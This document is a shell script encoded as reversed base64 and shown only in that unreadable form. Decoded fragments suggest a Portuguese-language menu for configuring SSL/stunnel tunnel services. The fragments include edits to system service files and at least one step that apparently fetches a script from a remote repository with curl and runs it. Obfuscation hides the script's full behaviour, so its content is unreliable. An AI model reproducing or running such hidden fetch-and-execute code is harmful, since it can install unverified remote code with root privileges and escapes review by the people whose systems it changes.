AiC0lGdtAyZz1GIgACIKMjchJWLgc2ctBCIgAiCKkmZgACIgoQMgQXa4VGIgACIgAiCi4yb2lGdjFGIhOMdzVGIhlHIk52boBXazBHIvNXZj9mcwBCbFJCIvh2YlBCIgACIgogblhGdgsDbsVnbvYXZk9iPgAXZydGI21CIwVmcnBCfgcCZu9Gawl2cwdCIwVmcnBCfggXdhBycwBiZpBCIgAiCyFWZsNGImYCIyFWZsNGIgACIKsHIpgSZu9Gawl2cw9FbsFGdz5WagowepgiclZnclNXazBnCK0nCiAiIgAXLgQWYlJnCi0GMbNzMwwlUBVlTJRlTPNEIBJVQQBiUFRlTFBSRO9USTVkUQ1WMzsTMbNzMwwlIgUWLg8GajVmCpZmCpZmCiI3bklmdyV2cgwWZgUGbhR3culWZyBybg4WajFmc1dWam52bjBSdzBSZ1FXamlmclZFIu8GZhl2Yp5WagEGagU2cg8mbg8WajlmdyV2cgwWRgozc1RXY0NlIg8GajVmClNHblpgIvRWYpNWaulGIhhGIlNHIvNXZj9mcwBCbFBiOzVHdhR3UiAyboNWZK4WZoRnCsxWdu9idlR2L+ACZu9Gawl2cwBCclJ3ZwBiZppAbsVnbvYXZk9CI+IDIuVncgQmbvhGcpNHcv4CIpNHcgMVbk1CIuVWZyN2cKwGb152L2VGZvAiPyASazB3L092by9CIkNmCsxWdu9idlR2Lg4jMgwGb152L2VGZvAiPxACZu9Gawl2cwBCbsFGbsl2aKwGb152L2VGZvAiPyACbsVnbvYXZk9CI+EDIpcSfyQCI05WayB3enAya3FGI8ByJk52boBXazB3JgAXZydGI8BCe1FGIzBHKkACbsl2aK4WZoRHI70VXgkSW8lHfTx3coAEI9ASfv52cll3ekAyWbBiZppQZu9GZKEDbkBCd1BHdgYiJgETd1NGI0VHc0pwbuNXZ5BiIgoTXO9yUbJCIw1CIkFWZypwbkByOd1FIp4EfuxXW8lHfTx3coAEI9ECI99mbzVWe7RCIbtFIlxWaodnCi0GMbNzMww1PyFWdulGdu92Qg02MzsTMbNzMwwlIgUWLg8GajVmCi0GMbNzMwwlcvRWa2JXZTBCblBicvRWYsFGdz5WSgIXZuVGdgMXZiVGRg02MzsTMbNzMwwlIgUWLg8GajVmCi0GMbNzMwwVbvR3c1NEIu9Gawl2cQBSZkBicvRWa2JXZzBCblBichl2Yp5WagU2Ug02MzsTMbNzMwwlIgUWLg8GajVmC7lCKyFWajlmbpl2cwBibvlGdj5WdmpgC9pgIgICIw1CIkFWZypgItBzWzMDMcJVQV5USU50TDBSQSFEUgIVRU5URgUkTPl0UFJFUtFzM7EzWzMDMcJCIl1CIvh2YlpQampQampgIvRWauVGdlRGIhhGIlNHIvl2YpZnclNHIsVEI6MXd0FGdTJCIvh2YlpQZzxWZKIyb2lGdjFGIlV3ZpNHIuVXYg82clN2byBHIsVEI6MXd0FGdTJCIvh2YlpgblhGdKwGb152L2VGZv4DIk52boBXazBHIwVmcnBHImlmCsxWdu9idlR2Lg4jMgwGb152L2VGZvAiPxACZu9Gawl2cwBCbsFGbsl2aKwGb152L2VGZvAiPyACbsVnbvYXZk9CI+EDIpcSfyQCI05WayB3enAya3FGI8ByJk52boBXazB3JgAXZydGI8BCe1FGIzBHKkACbsl2aK4WZoRHI70VXgkSW8lHfTx3coAEI9ASfv52cll3ekAyWbBiZppQZu9GZKEDbkBCd1BHdgYiJgETd1NGI0VHc0pwbuNXZ5BiIgoTXO9yUbJCIw1CIkFWZypwbkByOd1FIp4EfuxXW8lHfTx3coAEI9ECI99mbzVWe7RCIbtFIlxWaodnCi0GMbNzMww1PyFWdulGdu92Qg02MzsTMbNzMwwlIgUWLg8GajVmCi0GMbNzMwwlcvRWa2JXZTBCblBicvRWYsFGdz5WSgIXZuVGdgMXZiVGRg02MzsTMbNzMwwlIgUWLg8GajVmCi0GMbNzMwwVbvR3c1NEIu9Gawl2cQBSZkBicvRWa2JXZzBCblBichl2Yp5WagU2Ug02MzsTMbNzMwwlIgUWLg8GajVmC7lCKyVmblRXZkl2cwBibvlGdj5WdmpgC9pgIgICIw1CIkFWZypgItBzWzMDMcJVQV5USU50TDBSQSFEUgIVRU5URgUkTPl0UFJFUtFzM7EzWzMDMcJCIl1CIvh2YlpQampQampgIvRWauVGdlRGI0NXZg8WajlmdyV2cgwWRgozc1RXY0NlIg8GajVmClNHblpgIvRWYpNWaulWZyBSYoBSZzBybzV2YvJHcgwWRgozc1RXY0NlIg8GajVmCuVGa0pAbsVnbvYXZk9iPgQmbvhGcpNHcgAXZydGcgYWaKwGb152L2VGZvAiPyAib1JHIk52boBXazB3LuASazBHIT1GZtAiblVmcjNnCsxWdu9idlR2Lg4jMgk2cw9Cdv9mcvACZjpAbsVnbvYXZk9CI+IDIsxWdu9idlR2Lg4TMgQmbvhGcpNHcgwGbhxGbptmCsxWdu9idlR2Lg4jMgwGb152L2VGZvAiPxASKn0nMkACdulmcwt3Jgs2dhBCfgcCZu9Gawl2cwdCIwVmcnBCfggXdhBycwhCJgwGbptmCuVGa0ByOd1FIpkFf5x3U8NHKABSPg03buNXZ5tHJgs1WgYWaKUmbvRmCxwGZgQXdwRHImYCIxUXdjBCd1BHdK8mbzVWegICI60lTvM1WiACctACZhVmcK8GZgsTXdBSKOxnb8lFf5x3U8NHKABSPhASfv52cll3ekAyWbBSZslGa3pgItBzWzMDMc9jchVnbpRnbvNEItNzM7EzWzMDMcJCIl1CIvh2YlpgItBzWzMDMcJ3bklmdyV2UgwWZgI3bkFGbhR3culEIyVmblRHIzVmYlREItNzM7EzWzMDMcJCIl1CIvh2YlpgItBzWzMDMc12b0NXdDBibvhGcpNHUgUGZgI3bklmdyV2cgwWZgIXYpNWaulGIlNFItNzM7EzWzMDMcJCIl1CIvh2Ylpwepgichl2Yp5WalJXazBHIu9Wa0Nmb1ZmCK0nCjF2clpwO74mc1RXZypQKwowO7IiclRnbFBiIgAXLgQWYlJnCyFWajlmbpVmcpNHcKkSNKszOiIXZ05WRgICIw1CIkFWZypgcl5WZ0VGZpNHcKkCNKszOiIXZ05WRgICIw1CIkFWZypgchl2Yp5WapNHcKkyMKszOiIXZ05WRgICIw1CIkFWZypwdl5mclZnclNXazBnCpIjC7sjIyVGduVEIiACctACZhVmcKIXZ2JXZzl2cwpQKxogbpBSfu9Wa0NWZsV2c7RCIlNXYjpQK1Aib1Z2Xu9Wa0NWZsV2coQSPu9Wa0NWZsV2cKMjchJWLgc2ctNCIzIXYi1CInNXbKISKi0GMbVGXdBiUBNVRSdURSByWtFDN7EzWzMDMcJCIhJnYtAyZz1GKkASfoNWZsZ2ekASbxMzOws1MzADXd1WNzsDMbNzMwwFMtZzM7AzWzMDMctFItVzM7AzWzMDMcJCIl1CIvh2YlpwMyFmYtAyZz1mCi40TIBVSTBFISVkTFRVRE1XXzslcvN2ekASfoNWZsZ2ek0WMzsDMbNzMwwVXtVzM7AzWzMDMcVTb2MzOws1MzADXbBSb1MzOws1MzADXiASZtAyboNWZKIiTPhEUJNFUgIVROVEVFRUfdNzWy92Y7RCI9h2YlxmZ7RSbxMzOws1MzADXd1WNzsDMbNzMwwFNtZzM7AzWzMDMctFItVzM7AzWzMDMcJCIl1CIvh2YlpgIg40TIBVSTBFISFUSDlkTJ1XXzslcvN2ekASfoNWZsZ2ek0WMzsDMbNzMwwVXtVzM7AzWzMDMcNTb2MzOws1MzADXbBSb1MzOws1MzADXiASZtAyboNWZKISKg0GMbNzMww1VF5UbzMzOws1MzADXggCIN9EVTV1QgAFVUhEIO9ESQl0UQ1XXzslcvN2ekASfoNWZsZ2ek0WMzsDMbNzMwwVXtVzM7AzWzMDMcJTb2MzOws1MzADXbBSb1MzOws1MzADXiASZtAyboNWZKICIMFUSDlkRPBiTPhEUJNFU911MbJ3bjtHJg0HajVGbmtHJtFzM7AzWzMDMc1Vb1MzOws1MzADXx0mNzsDMbNzMww1Wg0WNzsDMbNzMwwlIgUWLg8GajVmClxGd0lGdKIXYlx2YKsXKogXazBHIu9Wa0Nmb1ZmCKoQfK0HIgAiCzIXYi1CInNXbgACIKISYkFGdy9mYBBybhNWYsFGdz5WS91lMbJ3bjtHJiASZtAyboNWZgACIKsHI8xHIsVmbpFGcfFGdz5Wavg2Zj1ERB9CIoNXYiBiJmASXdBSKZxXe8NFfzhCQg0DIiQWYvx2XwVHJiAyWbBCIgowMyFmYtAyZz1mCkF2bs9Fc1BiIgoTXg4GI8BycgsFIiACctACZhVmcKMjchJWLgc2ctpgI/QWYvxGcVBSZEBCbl5WYQBichxWY0NnbJBSYlNXZE1XXyslcvN2ekICIl1CIvh2YlpwMyFmYtAyZz1mC7BSKoACZh9GbwV3XsVmbpFGcKogC9pwYhNXZKszOKADIuJXd0VmcKkiKKszOKADIuJXd0VmcKMjchJWLgc2ctpgIBN1TUlEWFBiTPl0QBxUQUNlTJBCItNzM7EzWzMDMcJCIl1CIvh2YlpgIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIg0GNzsTMbNzMwwlIgUWLg8GajVmCiw0UTBSLgUDTF5kTVR1UgASLgAyTgQEIOBSQgkEIDBSSg4EIJBSRgIFItdzM7EzWzMDMcJCIl1CIvh2YlpgIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIg0GNzsTMbNzMwwlIgUWLg8GajVmCsxWdu9idlR2Lg4jMgwGb152L2VGZvAiPxACdyFGdzVmcgg2czBSZjlmdyV2cKwGb152L2VGZvAiPyACbsVnbvYXZk9CI+EDIh1CIu9Gchd3cgYiJgEWLgYmZvBXY3NnCsxWdu9idlR2Lg4jMgwGb152L2VGZvAiPxAyM9MXZoNWYj9FcvJHZu0mdgcXLgwGdjNXezpAbsVnbvYXZk9CI+IDIsxWdu9idlR2Lg4TMgMXZoNWYj9FcvJHZv0mdvMXez9yYvJHcvAiPgMDIvh2YlpgIz9WajlmdyV2Ug8GZuFWajlmbpVmUgkHIh1WZ0NXazBybk5WYpBXbpxkIg8GajV2IKMjchJWLgc2ctpAbsVnbvYXZk9iPmASNsVmbuVHdzBSZsJWYuVGIsR3YtVGdzl3cKwGb152L2VGZv4jJgUDbl5mb1R3cgQnchR3cgwGdj1WZ0NXezpAbsVnbvYXZk9iPmACZh9GblJXLu9WblFGZgwGdj1WZ0NXezpQfKADIuJXd0VmcKMjchJWLgc2ctpgIBRUSMxUQGBiTPl0QBxUQUNlTJBCItNzM7EzWzMDMcJCIl1CIvh2YlpgIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIg0GNzsTMbNzMwwlIgUWLg8GajVmCiw0UTBSLgUDTF5kTVR1UgIVQMFEVT5USgwUQg8ETMFkRg02NzsTMbNzMwwlIgUWLg8GajVmCiMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjASb0MzOxs1MzADXiASZtAyboNWZKwGb152L2VGZvAiPyACbsVnbvYXZk9CI+EDI0JXY0NXZyBCazNHIlNWa2JXZzpAbsVnbvYXZk9CI+IDIsxWdu9idlR2Lg4TMgA3Y09CVS9EUMN1UkAydvxGbhBydmVHImYCId1FIicnZ19ibpJ2cvI3c19iIgYWLgs1WKwGb152L2VGZv4jJgYmbvNmLsVmbuVHdz9Cbl5mb1R3cvMGdl9CbhN2bs9iczV3LgYWLg0mcKwGb152L2VGZv4jJgUjNuUTLsVmbuVHdz9CanNWTEF0LgYmctASbypAbsVnbvYXZk9iPmACbl5mb1R3cvM2bk9SZyFGaz9CbhN2bs9iczV3LgYmctASbypAbsVnbvYXZk9iPmAiKvwWZu5Wd0N3LjRXZvwWYj9GbvI3c19CImJXLg0mcKwGb152L2VGZv4jJgU2YpZnclNnL1wWZu5Wd0N3LtVGdzl3cvQWblR3c5N3LjRXZvAiZtASbypgIg8ERBNUSGlEVSV0QgIVQFJ1QgwUQgI1TSJVRgICIl1CIvh2YlpwegwHfg0VXgQnclNmLsVmbuVHdz9Cbl5mb1R3cvMGdl9CbhN2bs9iczV3LgUWLgYiJgkXZr5Cbl5mb1R3cvwWZu5Wd0N3LjRXZvwWYj9GbvI3c19CIl1CIbtlClNWa2JXZz5SNsVmbuVHdz9SblR3c5N3Lk1WZ0NXez9yY0V2LgU2YpZnclNnLsVmbuVHdz9yclxGctFGel9Cbl5mb1R3cvM2bk9SZyFGaz9CbhN2bs9iczV3LgA3YKUDbl5mb1R3cvQmL0lmbp9yY0V2LgUTN3ACZv1GajpQNsVmbuVHdz9CZuQXaul2LjRXZvACdp5WauwWZu5Wd0N3LzVGbw1WY4V2LsVmbuVHdz9yYvR2LlJXYoN3LsF2Yvx2LyNXdvACcjpgZu92YuwWZu5Wd0N3LsVmbuVHdz9yY0V2LsF2Yvx2LyNXdvAiPgIiC5V2auwWZu5Wd0N3LsVmbuVHdz9yY0V2LsF2Yvx2LyNXdvASPgkXZrpAdyV2YuwWZu5Wd0N3LsVmbuVHdz9yY0V2LsF2Yvx2LyNXdvASPgQnclNmC9RlUPBFR7RCI9ACdjVmbu92YK0HVS9EUMN1U7RCI9ACI0BXZjNWYK01cwRHdotlC09mY0JXZjBSbvJnZgkXZrBCZuFGI0JXZjBSZoRHIlNXVgsjCyVmdyV2cgIWZ3BSYg8GdgQmbl1Cdu9mcmByUMRFI7ogCklGcuwWZu5Wd0N3Lg0DIklGcKwWZu5Wd0N3LilGbvIXY29CI9ACdv9mcoNmCpQWZsJWYuVGImlGKgwWahpGI092byh2YgUGa0BSZkl2culGIkVGdhVmcjBycpBSZslmZgQUSQByOKoAbl5mb1R3cg0DIkl2Z0V2cKwWZu5Wd0NHI9ACZpVHdlNnC092byBSeiBCZlRnchR3cgMXagwWZu5Wd0NHImlGIzV2ZlxWa2lmcwBCdv9mcgA3byRGIvRHIkVGZuVWbt92YlJHIzlGI0lEI7ICIvh2YlpQRN9ESkACZjBiJmACbsVnbvYXZk9CI+IDIsxWdu9idlR2Lg4TMgAXa65ycvRWYjlmZpRnclNGItVGcuoCI0J3YuoCI5V2auoCIm1CItJnCgISbws1MzADXlRnbl1WYk9GdphXRgEGZhdmchNGIvRWYjlmZpRnclNEIsVGZg0URQBCItJDN7EzWzMDMcJCIl1CIvh2YlBiJmACdyV2YuwWZu5Wd0N3LsVmbuVHdz9yY0V2LsF2Yvx2LyNXdvAiPg0WZw5iKgQXYjBiJmASXdBSKi0WZw5iIgAXZydGI8BycshCJgs1WKISbws1MzADXzFGZpxWY25WSgMXZ2FGbD1WM0sTMbNzMwwlIgUWLg8GajVGI8xHIi0GMbNzMwwVZ05WZtFGZvRXa4VEIhRWYnJXYjBybkF2YpZWa0JXZDBCblRGIUJ1QgASbyQzOxs1MzADXiASZtAyboNWZgYiJgQnclNmLsVmbuVHdz9Cbl5mb1R3cvMGdl9CbhN2bs9iczV3Lg4DI0J3YuoCI0F2YgYiJg0VXgkiI0J3YuICIwVmcnBCfgMHboQCIbtlCi0GMbNzMww1chRWasFmdulEIzVmdhx2QtFDN7EzWzMDMcBiIgUWLg8GajVGI8xHIi0GMbNzMwwVZ05WZtFGZvRXa4VEIhRWYnJXYjBybkF2YpZWa0JXZDBCblRGI5V2Sg0mM0sTMbNzMwwFIiASZtAyboNWZgYiJgkXZr5Cbl5mb1R3cvwWZu5Wd0N3LjRXZvwWYj9GbvI3c19CI+ASeltmLqACdhNGImYCId1FIpISeltmLiACclJ3ZgwHIzxGKkAyWbpgIgIXatlmcw12bjNXZEBCbhBicvJncFJCIl1CIvh2YlBCf8BiIz9GZhdmchN2clRGIz9mclh2YpZEIvRmbllWbpJHct92YzVGRiASZtAyboNWZgYiJgwGb152L2VGZvAiPyACbsVnbvYXZk9CI+EDIwlmeuM3bkF2YpZWa0JXZjBCcppnb1pAIzIXYi1CInNXbKISbyQzOxs1MzADXiASZtAyboNWZgYiJgAXa6BCclJ3ZgwHIzxGImYCIiAiOgMXZ05WZ0NXa4VEITBVSaBSbyQzOxs1MzADXiASZu1CIvh2YlpwMyFmYtAyZz1mCi8GZpxWY25WSgE2ZyF2YzVGZgUGZgsmbpxkIg8GajVGI8xHIiACUJpFIvJXZoNWaGBybk5WYnJXYjNXZEJCIl1CIvh2YlBiJmASbsJXdkACcppnLz9GZhNWamlGdyV2Yg8ULgEXLgQXZndnCtxmc1BiIgoDIr5WaMBSd0BSYnVGUgICIw1CIkFWZypwMyFmYtAyZz1mCiAycvRWYjlmZpRnclNEIz9Gbg42bjBCUJpFI1RHIlRGIMJVVg8mclh2YpZEIsVGZgsmbpxEIlNXZydmbJJCIl1CIvh2YlpwMyFmYtAyZz1mCzIXYi1CInNXbJkgCi0GMbNzMwwlLzVmbvl2YhxWY0NnbpBychJXd0VnZg4WZgMXYtVGbi9mcwBichNXdhNGI5BCIgICIl1CIvh2YllQCKIycvJXd0VnRgMXZy9mcyVEIyFGdpZXRgACIgACIgACIgACIgACIiASZtAyboNWZJkgCi82chBHIlR3clBSYsV2YuF2QgwyboNWZoBychhGIvxGIv5GIuVXQgk2UgACIgACIgACIgACIiASZtAyboNWZJkgCiUmbpxmbPBybkF2YpZWa0JXZjBCblRGIMJVVgwWZgIXZuVGdgMXZiVGZg82chBFIlR3clBSYyFGUtFzM7AzWzMDMcBiIgUWLg8GajVWCJogItBzWzMDMcVGduFGdy9GctlGIBR1TO1WMzsDNbNzMwwVCJICIl1CIvh2YllQCKMjchJWLgc2ctpAIiACTTNFIvRWYjlmZpRnclNEIsVGZgwkUVBybyVGajlmZgwWZgE2ZyF2YzVGRiASZtAyboNWZKMjchJWLgc2ctpQNyACTx1CI2BHI8BiIgw0UTBCblRGI5V2SgkHIvRWYjlmZpRnclNEIVNFIyF2ZyF2QgUGZyVWdjVmUgAibcBybkF2ZyF2Qgw0UTBybkF2YpZWa0JXZjBib1BSZ0NXa4VEIhllIgUWLg8GajVGImYCId1FI5V2auwWZu5Wd0N3LsVmbuVHdz9yY0V2LsF2Yvx2LyNXdvASZtAiJmACdyV2YuwWZu5Wd0N3LsVmbuVHdz9yY0V2LsF2Yvx2LyNXdvASZtAyWbpQNsVmbuVHdz9Fdz5WaKMjchJWLgc2ctpgIpcyZp9yLd1CI50CM61SYet1LzdCIl1CIkV2cgwHIn0nMkACdulmcwt3Jgs2dhBCfgknc05WdvNGIwVmcnBCfg8mZulGI0F2YgYiJg8mZulGI+Aybp5ybm5WawlGIMN1ctACbyV3YoQCI6ASXgQlUPBFTTNFJg4TLgQlUPBFRkAyWgMFTU9CTTNFIvRmbhxWY0NnbJBCItNzM7EzWzMDMcJCIl1CIvh2YlpwMyFmYtAyZz1mCl52bkBCIgAiCuJXd0VmcJowMyFmYtAyZz1WCKICc1N2bj9mcwRCIS9EUg8ERBBVVD9EIBJFVOVUVD5URgU0Ug8EVSVUVQBCTFBCItNzM7EzWzMDMcJCIl1CIvh2YlBCIgAiCgdSf5QCI05WayB3eiQlUPBFTTNFJi0TP1QyJgcyKdBiObdCIG1CIrdXYgwHIuBHb01CI0FGdzRXZuBWPwV3YvN2byBHIgACIKsWYlJnYgwHfg0VXgICTTNFdy9GUkICIu1CIbtVCKAGVS9EUMN1UkAydtACclJ3ZgwHIn0XNkACdulmcwtnIwNGdi0TPxQyJgcyKdBiObdCIG1CIrdXYgwHIuBHb01CI0FGdzRXZuBWPMN1U0J3bQlgCyYiPgEDbkBCd1BHdgYiJgIjJ+ASM1V3YgQXdwRXCKQlUPBFTTNFIiAiOMN1Ut4WZ0NXaMBiIgAXLgQWYlJHIgACIKISK0QDNgIDN0ACMxEDIvRWYk5WZt92YlJFKgMFUWBSd0BiblBichNXVgEEIuxFITxEVvw2UTByb0JXZ1BFIvZXZ15EIsVGIhNXZydmbJBiIgUWLg8GajVGIgACIK8GZgsTZ1JHdgUGbph2dgACIgogIpETLgQWYlhGfn0nMkACdulmcwt3Jgs2dhxHe0J3bwRCIwVmcnx3chRncvBXboQiI9QlUPBFRKMjchJWLgc2ctpQZu9GZgACIgowMyFmYtAyZz1WCKgHdy9GcgQXZz5WdgACIgogIlR3cphXZg8mbg8GZh52bpN2YlxWZzByb0JXZ1BHIsVEIg02MzsTMbNzMwwlIgUWLg8GajVGIgACIKsWYlJnYgYiJg0VXgkCe0J3bwRCIwVmcnBCfgMXY0J3bw1GKkAyWbBCIgAiCyYiPgEDbkBCd1BHdgYiJgIjJ+ASM1V3YgQXdwRXCKgHdy9GcgQHckASatASZtAiIgoDdy9GUtwWYj9GTgAiIgAXLgQWYlJHIgACIKICIpIjMgQHb1FmZlREKgMFUWBSd0BSZkBCbhN2bMByb0JXZ1BFIsVGIhNXZydmbJBCIiAyboNWZgACIgogItdzM7EzWzMDMcJCIl5WLg8GajVGIgACIK8GZgsTZ1JHdgUGbph2dgACIgowMyFmYtAyZz1mCiMFTU9CTTNFIvBSYyFGUgI3bklmdyV2UgEGdyVWdQBSdzBSZzVmcn5WSgASbzMzOxs1MzADXiASZtAyboNWZKISYuJXZ05WSg8GduVWbh52bpNWZylGZlJFIlREIvRnclVHUg4WdgUmbvl2YlxWZTBCItNzM7EzWzMDMcJCIl1CIvh2YlpwMyFmYtAyZz1mCiwWZu5Wd0NFIMN1UgASb2MzOxs1MzADXiASZtAyboNWZKMjchJWLgc2ctpQKzowO7oAMg4mc1RXZypwMyFmYtAyZz1mCiE0UPRVSYVEIO9USDFETBR1UOlEIg02MzsTMbNzMwwlIgUWLg8GajVmCiMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjASb0MzOxs1MzADXiASZtAyboNWZKICTTNFItASNMVkTOVFVTBCItACIPBCRg4EIBBSSgMEIJBiTgkEIFBiUg02NzsTMbNzMwwlIgUWLg8GajVmCiMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjASb0MzOxs1MzADXiASZtAyboNWZKwGb152L2VGZvAiPyACbsVnbvYXZk9CI+EDI0JXY0NXZyBCazNHIlNWa2JXZzpAbsVnbvYXZk9CI+IDIsxWdu9idlR2Lg4TMgEWLg42bwF2dzBiJmASYtAiZm9Gchd3cKwGb152L2VGZvAiPyACbsVnbvYXZk9CI+EDIz0zclh2YhN2Xw9mck5Sb2BydtACb0N2c5NnCsxWdu9idlR2Lg4jMgwGb152L2VGZvAiPxAyclh2YhN2Xw9mck9Sb29yc5N3Lj9mcw9CI+AyMg8GajVmCiM3bpNWa2JXZTBybk5WYpNWaulWZSBSegEWblR3cpNHIvRmbhlGctlGTiAyboNWZjowMyFmYtAyZz1mCsxWdu9idlR2L+YCI1wWZu5Wd0NHIlxmYh5WZgwGdj1WZ0NXezpAbsVnbvYXZk9iPmASNsVmbuVHdzBCdyFGdzBCb0NWblR3c5NnCsxWdu9idlR2L+YCIkF2bsVmct42btVWYkBCb0NWblR3c5NnC9pAMg4mc1RXZypwMyFmYtAyZz1mCiEERJxETBZEIO9USDFETBR1UOlEIg02MzsTMbNzMwwlIgUWLg8GajVmCiMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjASb0MzOxs1MzADXiASZtAyboNWZKICTTNFItASNMVkTOVFVTBCItACIPBCRg4EIBBSSgMEIJBiTgkEIFBiUg02NzsTMbNzMwwlIgUWLg8GajVmCiMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjASb0MzOxs1MzADXiASZtAyboNWZKwGb152L2VGZvAiPyACbsVnbvYXZk9CI+EDI0JXY0NXZyBCazNHIlNWa2JXZzpAbsVnbvYXZk9CI+IDIsxWdu9idlR2Lg4TMgA3Y09CVS9EUMN1UkAydvxGbhBydmVHImYCId1FIicnZ19ibpJ2cvI3c19iIgYWLgs1WKwGb152L2VGZv4jJgYmbvNmLsVmbuVHdz9Cbl5mb1R3cvMGdl9CbhN2bs9iczV3LgYWLg0mcKwGb152L2VGZv4jJgUjNuUTLsVmbuVHdz9CanNWTEF0LgYmctASbypAbsVnbvYXZk9iPmACbl5mb1R3cvM2bk9SZyFGaz9CbhN2bs9iczV3LgYmctASbypAbsVnbvYXZk9iPmAiKvwWZu5Wd0N3LjRXZvwWYj9GbvI3c19CImJXLg0mcKwGb152L2VGZv4jJgU2YpZnclNnL1wWZu5Wd0N3LtVGdzl3cvQWblR3c5N3LjRXZvAiZtASbypgIg8ERBNUSGlEVSV0QgIVQFJ1QgwUQgI1TSJVRgICIl1CIvh2YlpwegACf8BSfKQnclNmLsVmbuVHdz9Cbl5mb1R3cvMGdl9CbhN2bs9iczV3Lg4DI0J3YuQnclN2LhRXYk9CI0F2YKASeltmLsVmbuVHdz9Cbl5mb1R3cvMGdl9CbhN2bs9iczV3Lg4DI5V2auQnclN2LhRXYk9CI0F2YKsHImYCId1FI5V2auQnclN2LhRXYk9CIl1CImYCI0J3YuQnclN2LhRXYk9CIl1CIbtlClNWa2JXZz5SNsVmbuVHdz9SblR3c5N3Lk1WZ0NXez9yY0V2LgU2YpZnclNnLsVmbuVHdz9yclxGctFGel9Cbl5mb1R3cvM2bk9SZyFGaz9CbhN2bs9iczV3LgA3YKUDbl5mb1R3cvQmL0lmbp9yY0V2LgUTN3ACZv1GajpQNsVmbuVHdz9CZuQXaul2LjRXZvACdp5WauwWZu5Wd0N3LzVGbw1WY4V2LsVmbuVHdz9yYvR2LlJXYoN3LsF2Yvx2LyNXdvACcjpgZu92YuwWZu5Wd0N3LsVmbuVHdz9yY0V2LsF2Yvx2LyNXdvAiPgIiC5V2auwWZu5Wd0N3LsVmbuVHdz9yY0V2LsF2Yvx2LyNXdvASPgkXZrpAdyV2YuwWZu5Wd0N3LsVmbuVHdz9yY0V2LsF2Yvx2LyNXdvASPgQnclNmC9RlUPBFR7RCI9ACdjVmbu92YK0HVS9EUMN1U7RCI9ACI0BXZjNWYK01cwRHdotlC09mY0JXZjBSbvJnZgkXZrBCZuFGI0JXZjBSZoRHIlNXVgsjCyVmdyV2cgIWZ3BSYg8GdgQmbl1Cdu9mcmByUMRFI7ogCklGcuwWZu5Wd0N3Lg0DIklGcKwWZu5Wd0N3LilGbvIXY29CI9ACdv9mcoNmCpQWZsJWYuVGImlGKgwWahpGI092byh2YgUGa0BSZkl2culGIkVGdhVmcjBycpBSZslmZgQUSQByOKoAbl5mb1R3cg0DIkl2Z0V2cKwWZu5Wd0NHI9ACZpVHdlNnC092byBSeiBCZlRnchR3cgMXagwWZu5Wd0NHImlGIzV2ZlxWa2lmcwBCdv9mcgA3byRGIvRHIkVGZuVWbt92YlJHIzlGI0lEI7ICIvh2YlpQKoNnLsN3cvRWYjlmZpRnclN2Lz92cyV3YlJ1LulWYt9Caj5WYyJ2L3FmcvEzakRHcpJ3Yz9SMwQWard3byR2Lt92YuEWZ0l2Zv8iOzBHd0hGIMN1ctACbyV3YowDIlNmc192cKUDbl5mb1R3cfR3culmCzIXYi1CInNXbKISKncWav8SXtASOtAjetEmXb9ycnASZtACZlNHI8ByJ9JDJgQnbpJHc7dCIrdXYgwHI5JHduV3bjBCclJ3ZgwHIvZmbpBCdhNGImYCIvZmbpBiPg8Wau8mZulGcpBCTTNXLgwmc1NGKkAiOg0FIUJ1TQx0UTRCI+0CIUJ1TQREJgsFITxEVvw0UTBybk5WYsFGdz5WSgASbzMzOxs1MzADXiASZtAyboNWZKMjchJWLgc2ctpQZu9GZgACIgogbyVHdlJXCKMjchJWLgc2ctlgCiAXdj92YvJHckAiUPBFIPRUQQV1QPBSQSRlTFV1QOVEIFNFIPRlUFVFUgwURgASbzMzOxs1MzADXiASZtAyboNWZgACIgoAYn0XOkACdulmcwtnIUJ1TQx0UTRiI90TNkcCInsSXgozWnAiRtAya3FGI8BibwxGdtACdhR3c0Vmbg1Dc1N2bj9mcwBCIgAiCrFWZyJGI8xHId1FIiw0UTRncvBFJiAibtAyWblgCgRlUPBFTTNFJgcXLgAXZydGI8ByJ9VDJgQnbpJHc7JCcjRnI90TMkcCInsSXgozWnAiRtAya3FGI8BibwxGdtACdhR3c0Vmbg1DTTNFdy9GUJogMm4DIxwGZgQXdwRHImYCIyYiPgETd1NGI0VHc0lgCUJ1TQx0UTBiIgoDTTNVLuVGdzlGTgICIw1CIkFWZyBCIgAiCikCN0QDIyQDNgATMxAybkFGZuVWbvNWZShCITBlVgUHdg4WZgIXYzVFIBBibcByUMR1LsN1Ug8GdyVWdQByb2VWdOBCblBSYzVmcn5WSgICIl1CIvh2YlBCIgAiCvRGI7UWdyRHIlxWaodHIgACIKISKx0CIkFWZox3J9JDJgQnbpJHc7dCIrdXY8hHdy9GckACclJ3Z8NXY0J3bw1GKkISPUJ1TQRkCzIXYi1CInNXbKUmbvRGIgACIKMjchJWLgc2ctlgC4RncvBHI0V2cuVHIgACIKISZ0NXa4VGIv5GIvRWYu9WajNWZsV2cg8GdyVWdwBCbFBCItNzM7EzWzMDMcJCIl1CIvh2YlBCIgAiCrFWZyJGImYCId1FIpgHdy9GckACclJ3ZgwHIzFGdy9GcthCJgs1WgACIgogMm4DIxwGZgQXdwRHImYCIyYiPgETd1NGI0VHc0lgC4RncvBHI0BHJgkWLgUWLgICI6QncvBVLsF2YvxEIgICIw1CIkFWZyBCIgAiCiASKyIDI0xWdhZWZEhCITBlVgUHdgUGZgwWYj9GTg8GdyVWdQBCblBSYzVmcn5WSgAiIg8GajVGIgACIKISb3MzOxs1MzADXiASZu1CIvh2YlBCIgAiCvRGI7UWdyRHIlxWaodHIgACIKMjchJWLgc2ctpgITxEVvw0UTBybgEmchBFIy9GZpZnclNFIhRnclVHUgU3cgU2clJ3ZulEIg02MzsTMbNzMwwlIgUWLg8GajVmCiEmbyVGdulEIvRnbl1WYu9WajVmcpRWZSBSZEByb0JXZ1BFIuVHIl52bpNWZsV2UgASbzMzOxs1MzADXiASZtAyboNWZKMjchJWLgc2ctpgIsVmbuVHdTBCTTNFIg0mNzsTMbNzMwwlIgUWLg8GajVmCzIXYi1CInNXbKkiMKszOKADIuJXd0VmcKMjchJWL